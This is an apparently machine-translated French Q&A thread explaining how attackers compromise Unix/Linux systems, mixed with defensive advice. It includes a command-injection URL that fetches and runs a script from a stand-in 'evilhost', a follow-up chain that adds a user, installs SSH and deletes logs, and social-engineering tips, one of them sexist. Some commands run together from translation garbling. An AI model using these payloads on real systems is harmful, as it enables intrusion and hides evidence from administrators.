Comment exactement les gens «craquent» les systèmes Unix / Linux?

Non, je ne cherche pas à devenir un pirate ou quelque chose comme ça, mais j'essaie de comprendre le processus (plus du point de vue de la programmation).

Donc, en supposant (deviner) que l'objectif principal d'un pirate est d'obtenir un accès root pour installer le logiciel (ou script) qu'il a écrit, n'est-ce pas? ou peut-être installer leur propre module kernal (c'est sournois pour une raison quelconque) Comment une personne fait-elle exactement cela?

Je sais que les gens utilisent des scripts pour vérifier les exploits ...... mais je ne vois pas comment, et je ne vois pas exactement ce qu'ils en font une fois qu'ils les ont trouvés? Vérifient-ils les versions pour les exploits connus ... et puis une fois qu'ils en trouvent un .......

Je sais que tout cela semble très nouveau. mais je suis juste en train d'essayer de me faire une idée de son fonctionnement, car je sais que les systèmes Linux / Unix sont censés être très sécurisés, mais j'essaie de comprendre comment quelqu'un pourrait même procéder (le processus) pour obtenir un accès root.

Il existe d'innombrables raisons pour lesquelles on pourrait essayer de compromettre la sécurité d'un système. À grands traits:

• Pour utiliser les ressources du système (par exemple envoyer du spam, relayer le trafic)
• Pour acquérir des informations sur le système (par exemple obtenir des données client sur un site de commerce électronique).
• Pour modifier des informations sur le système (par exemple, défigurer un site Web, planter de fausses informations, supprimer des informations)

Ce n'est que parfois que ces choses nécessitent un accès root. Par exemple, la saisie d'une requête de recherche incorrecte sur un site qui ne nettoie pas correctement les entrées des utilisateurs peut révéler des informations de la base de données du site, telles que les noms d'utilisateur / mots de passe, les adresses e-mail, etc.

De nombreux cybercriminels ne sont que des "script kiddies"; c'est-à-dire des personnes qui ne comprennent pas réellement la sécurité des systèmes, et qui peuvent même ne pas coder, mais exécuter des exploits écrits par d'autres. Ceux-ci sont généralement assez faciles à défendre car ils n'ont pas la capacité de s'adapter; ils se limitent à exploiter des vulnérabilités connues. (Bien qu'ils puissent exploiter des botnets - de grands groupes d'ordinateurs compromis - ce qui peut signifier un danger d'attaques DDoS.)

Pour l'attaquant qualifié, le processus ressemble à ceci:

1. Déterminez quel est l'objectif et ce que vaut l'objectif. La sécurité - la maintenir ou la compromettre - est un calcul de risque / récompense. Plus quelque chose sera risqué et coûteux, plus la récompense devra être intéressante pour que l'attaque en vaille la peine.

2. Considérez toutes les parties mobiles qui affectent quel que soit l'objectif - par exemple, si vous souhaitez envoyer du spam, vous pouvez attaquer le serveur de messagerie, mais il peut être plus judicieux de rechercher un autre service orienté réseau, car tout ce que vous avez vraiment le besoin est l'utilisation de la connexion Internet de la cible. Si vous voulez des données utilisateur, vous commencerez à regarder le serveur de base de données, la webapp et le serveur web qui ont la possibilité d'y accéder, le système qui les sauvegarde, etc.

   Ne négligez jamais le facteur humain. La sécurisation d'un système informatique est bien plus simple que la sécurisation du comportement humain. Faire en sorte que quelqu'un révèle des informations qu'il ne devrait pas ou exécuter du code qu'il ne devrait pas est à la fois simple et efficace. Au collège, j'ai gagné un pari avec un ami qui impliquait de pénétrer dans son réseau d'entreprise ultra-sécurisé en enfilant une tenue révélatrice et en tombant sur un vice-président lubrique - l'expertise technique de mon ami l'emportait largement sur la mienne, mais rien ne l' emporte sur la puissance d'un 17 ans mixte dans une jupe courte!

   Si vous manquez de seins, envisagez d'offrir un jeu inutile ou quelque chose que les idiots téléchargeront pour le plaisir sans considérer ce qu'il pourrait vraiment faire.

3. Examinez chaque partie que vous avez identifiée, et réfléchissez à ce qu'elle peut faire et à la façon dont cela pourrait être modifié pour faire ce que vous voulez - peut-être que le service d'assistance réinitialise fréquemment les mots de passe des utilisateurs sans identifier correctement l'appelant, et les appeler sonnant confus sera obtenir le mot de passe de quelqu'un d'autre. Peut-être que la webapp ne vérifie pas ce qui est placé dans la zone de recherche pour vous assurer qu'il ne s'agit pas de code avant de le coller dans une fonction qu'il exécute. Les compromis de sécurité commencent généralement par quelque chose d'exposé à dessein qui peut être fait pour se comporter d'une manière qu'il ne devrait pas.

Le facteur le plus important est le type d'accès dont dispose l'attaquant. S'ils ont un accès physique, vous êtes foutu. Si vous êtes uniquement concerné par l'accès à distance, cela dépend de ce que vous avez en cours d'exécution; une bonne configuration est tout. Un serveur Linux standard exécuterait probablement ftp, ssh, http, https et mysql. SSH est sécurisé, mais je n'autoriserais pas les connexions root, et un bon mot de passe sur chaque compte est indispensable. FTP est un succès ou un échec. Si vous avez VSFTP et chrootez vos utilisateurs, alors c'est très sécurisé. Plusieurs autres versions ont des vulnérabilités connues. HTTP va probablement être votre zone la plus vulnérable. Votre plus grande préoccupation ici est tout ce qui exécute des fichiers sur le système ou télécharge des fichiers sur le système. L'injection SQL est TRÈS difficile si votre site est fait en PHP5. Un groupe d'étudiants en sécurité et moi-même avons essayé des injections SQL sur un site Web PHP5 non stérilisé pendant des semaines et nous avons échoué. Avec MySQL, assurez-vous d'utiliser un utilisateur non root et limitez-le à vous connecter uniquement à partir de votre serveur Apache.

Il y a quelques plugins Firefox pour tester les vulnérabilités du site Web: accédez-moi, xss moi et sql injectez-moi

Certaines grandes choses que je ferais toujours lors des compétitions pour assurer la sécurité seraient de courir:

• netstat - vérifier les ports ouverts et les connexions,
• w - qui est connecté, combien de temps,
• Vérifiez les journaux pour les connexions,
• historique bash pour les commandes exécutées,
• ps - exécution de commandes,
• /etc/passwd pour les utilisateurs supplémentaires
• /etc/sudoers pour l'accès sudo.

En règle générale, après avoir obtenu l'accès, un attaquant veut obtenir racine. Il existe actuellement quelques vulnérabilités d'élévation de privilèges qui permettraient à un utilisateur normal d'obtenir la racine. Après cela, ils veulent l'ouvrir pour un accès ultérieur en ajoutant des utilisateurs et en ouvrant des portes dérobées.

Voici le site Web de cyberdéfense de mon école. N'hésitez pas à regarder autour de vous et à poser quelques questions: https://thislink.doesntexist.org/

La sécurité d'un système dépend des compétences des administrateurs, il est donc faux de dire que "les systèmes Linux / Unix sont censés être très sécurisés" :)

Passons maintenant au hacking ... Il existe une sorte d'outils appelés " scanner de vulnérabilité " comme Nessus qui cherche des choses à exploiter. Il y a des milliers de choses qui peuvent mal tourner dans un système complexe, comme un serveur Apache mal configuré pour permettre le téléchargement de fichiers arbitraires à des endroits arbitraires. Ceux-ci peuvent servir de tremplin pour d'autres exploits, tels que l'accès à une base de données ou à un compte de messagerie à partir duquel les mots de passe peuvent être restaurés via la fonction "oublier le mot de passe".

Parfois, un hack est d'avoir accès et de faire quelque chose de mal. Parfois, les gens le font pour le plaisir (ce qui est ridicule d'ailleurs).

ET, voici l' histoire d'un hack célèbre qui s'est produit tout récemment. Je pense que ce sera un exemple pour quiconque s'intéresse à la sécurité! Pour citer un résumé des exploits:

Une application Web avec des failles d'injection SQL et des mots de passe non sécurisés. Mots de passe mal choisis. Mots de passe qui ont été réutilisés. Serveurs qui ont autorisé l'authentification par mot de passe. Systèmes qui n'ont pas été corrigés. Et une volonté étonnante de remettre des informations d'identification par e-mail, même lorsque la personne qui les a demandées aurait dû se rendre compte que quelque chose n'allait pas.

Il y a tellement de vecteurs d'attaque qu'ils sont presque infinis. Conceptuellement, l'un des plus simples consiste à rendre un programme accessible au public et à dire qu'il fait autre chose qu'il ne le fait réellement. Donnez aux utilisateurs des instructions conviviales avec un sudoau début et regardez le monde exploser. Cela se produit tous les jours avec des programmes à source fermée, car il est impossible pour une seule personne d'inspecter son fonctionnement au préalable, comme on le voit par exemple avec les CD Sony .

Vous pouvez également essayer d'envoyer des chaînes spéciales à un hôte distant. Pour un exemple de haut niveau, supposons que vous ayez un serveur Web sur lequel certains logiciels s'exécutent et que ce logiciel exécute une partie de l'URL en tant que commande sans s'échapper ou garantir qu'il ne puisse pas faire de mal. Envoyez quelque chose comme http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh. Décodé, la chaîne de recherche devient . Si cela est exécuté, script.sh s'exécuterait avec les mêmes droits d'accès que l'utilisateur du serveur Web pour faire quoi que ce soit sur la machine. Parfois, les gens les laissent courir en tant que racine pour «commodité», dans ce cas synonyme de paresse et / ou de désemparement. Même s'il n'est pas exécuté en tant que root, ce script peut alors exécuter des milliers de tests pour d'autres trous dans le logiciel installé et exécuter une autre commande s'il en trouve un. Cette dernière commande pourrait par exemple êtrefoo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.log, pour accéder à SSH et supprimer les traces de l'effraction.

[les commandes étaient évidemment simplifiées et ne fonctionneraient probablement pas de toute façon. YMMV]